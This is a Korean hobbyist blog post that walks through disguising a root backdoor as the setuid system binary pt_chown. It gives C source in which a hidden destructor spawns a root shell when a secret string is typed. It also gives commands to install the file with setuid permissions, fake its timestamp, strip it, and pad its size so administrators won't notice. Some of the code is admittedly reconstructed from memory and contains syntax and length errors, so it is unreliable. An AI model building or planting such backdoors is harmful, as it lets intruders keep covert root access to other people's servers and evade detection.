본문 바로가기

Study/C

backdoor #2 hide the setuid file(setuid 파일 숨기기)

요번엔 저번시간에 만들어진 setuid파일을 숨겨보겠습니다.

새로 백도어를 설치하는방법과 서버에 있는 setuid파일을 이용하는 방법이있는데요.

이미 있는파일을 백도어로 만드는 것이기 때문에 안전성이 높다 생각되어 후자쪽을 택했습니다.

우선 백도어를 숨길곳을 찾아봅시다.

$find / -perm -4000 2>/dev/null

일반 유저가 당연 실행할수있는 경로에 위치한 setuid파일이어야 하기때문에 일반유저의 권한으로 진행합니다.

저는 passwd나 su, sudo, chown, chmod 같은것들과 달리 자주쓰이지 않으면서 초기에도 서버에있는 파일을 골랐습니다.

바로 pt_chown입니다.

지난시간의 백도어는 실행하면 바로 쉘이 떨어진다는 문제가 있기때문에 약간 그럴듯한 파일로 바꾸는 작업이 필요합니다.

따라서 해커가 특정 문자열을 넘겨줬을때에만 파일이 실행되도록 구조를 바꿔보겠습니다.

pt_chown 소스는 구글링하면 잘나옵니다.

http://opensource.apple.com/source/system_cmds/system_cmds-336/pt_chown.tproj/pt_chown.c?txt

 

$cat backdoor.c

int main(int argc, char *argv[])
{
 int retcode;
 char *slave;
 gid_t gid;
 struct group *grp;

 retcode = EX_OK;

 if ((slave = ptsname(STDIN_FILENO)) == NULL)
  retcode = EX_USAGE;
 else {
  gid = (grp = getgrnam("tty")) ? grp->gr_gid : -1;
  if (chown(slave, getuid(), gid) == 0 &&
      chmod(slave, S_IRUSR | S_IWUSR | S_IWGRP) == 0)
   retcode = 0;
  else
   retcode = EX_NOPERM;
 }
 exit(retcode);
}
위 소스가 pt_chown 의 원형입니다. 구한 소스에서 주석하고 정의만 지워줬습니다.

헌데 의외의 문제가 발생했습니다.

편집하기 편하게 간단한 소스를 찾다보니 메세지 출력이 없는 겁니다.

해당 서버의 pt_chown은 인자로 명령어를 넘겨줄때 아래와 같은 옵션들을 제공합니다.

-?

--help

-usage

-V

--version

출력시키는 내용은

-?와 --help가 같고

-V와 --version이 같았습니다.

-usage는 help에서 출력하는 내용에서 일부만 간략하게 출력하는 형태였고여.

이 출력메세지들을 제대로 출력해서 관리자가 혹시라도 실행해봤을때 의심이 안들게 하는것이 포인트입니다.

저는 그냥 하나씩 해보고 출력되는내용가지고 코딩했습니다.

친구 서버가 잠시 듁어서 소스내용 전체를 가져오진 못했습니다.

원본소스를 제외하면 나머진 기억을 더듬어 작성한 코드입니다. 양해바랍니다.

if( !memcmp(argv[1],"-?",2) || !memcmp(argv[1],"--help",6) ){

printf("long message\n");

exit(0);

}

else if ( !memcmp(argv[1],"-usage",6) ){

printf("usage : -? --help -V --version..blabla\n");

exit(0);

}

else if ( .. ){

printf("version 6.09 blabla\n");

exit(0);

}

else { .. ){

printf("unknown argument option\n blabla");

exit(0);

}

여기서 else는 엉뚱한 값이 인자로 넘어갔을때 출력하는 내용입니다.

어떻게 쓰는지 모르면 help나 -usage 같은걸 전달하라는 간단한 내용이죠.

이제 특정인자만 넘겨주면 쉘이 실행되게 해야겠지만 문득 이런생각이 들었습니다.

다른 일반 사용자가 w나 ps -aux 같은걸로 훔쳐본다면 필시 넘겨준 인자가 보일지도 모른다!

 

결국 저는 프로그램 끝에 fgets를 추가해서 내부에서 입력받는 형식으로 변경했습니다.

메인함수 디버깅시 안보이게 하려고 이부분은 일부러 메인 종료시 자동호출되는 소멸자를 이용하였습니다.

void __attribute__((destructor)) dtors()
{
 char buffer[27];
 fgets(buffer,20,stdin);
 if( !memcmp(buffer," returnorientedprogramming",26 ){
  setresuid(0,0,0);
  system("/bin/bash -p");
 }
}

위에 엔터누르라는 문구 넣을까 말까 생각해봤는데요.

넣자니 의심받고 안넣자니 매번 종료시마다 입력받는게 어정쩡해서 임의로 놔뒀습니다.

이제 루트로 들어가 컴파일하고 권한을 해당 파일하고 같게 4755로 준다음

touch로 원본파일과 같게 날짜를 바꿔주시면됩니다.

#gcc -o pt_chown backdoor.c

#chmod 4755 pt_chown

#touch -t 1204301043 pt_chown

순서대로 12년 04월 30일 10시 43분입니다.

-rwsr-xr-x 1 root root 12046  04월 30 10:43 pt_chown

이제 pt_chown이 있는 경로에 덮어 씌워줍시다.

#mv pt_chown /usr/lib/pt_chown

#strip /usr/lib/pt_chown

디버깅방지로 함수목록도 깔끔하게 날려줬습니다.

이제 파일용량을 원본하고 같게 맞추는게 남았는데요.

static로 컴파일로 용량을 늘릴수도있지만

바이너리에 대고 cat >> 로 아무 내용이나 추가해줘도 실행에는 지장이 없는점을 이용하셔도 됩니다.

예를들어 원본 파일이 14046이면 우리가 만들어준 12046 용량에서 2000이 모자랍니다.

따라서 2000개의 문자열을 그럴듯한 쓰레기값들로 채워주시면됩니다.

마지막에 enter치고 보통 Ctrl C나 D를 누르시는데 엔터하신것도 1로 포함되므로 이경우엔 1999개의 문자를 넣어주시면됩니다.

반대로 파일 용량이 넘쳐날때가 있는데요. 요건 뭐 upx같은 패킹한번 해주고 모자란값만큼 추가하면 될듯합니다.

 

이제 일반유저로 접속해서 실행시키고 if문에서 정해준 값만 넣어주면 쉘이 실행됩니다.

이것으로 완벽하게 퍼미션 날짜 용량이 일치하는 출력메세지도 유사한 백도어를 만들어보았습니다.

백도어나 metasploit 다음편은 당분간 없을듯합니다. ipad에 msf3 올려봤는데 svn에서 자꾸 이상한 오류나서 안올라가네요;

리버싱 플래그 잠깐 포스팅하고 열심히 다시 시스템들어가야죠. ㅋㅋ

cgi올리고 bof는 fc미완성한거랑 rop까지 좀더공부해서 포스팅해볼예정입니다.

쉬어가는 차원에서 나중에 ios도 한번 간단하게 포스팅할까합니다 :-)

그럼 다음을 기약합니다.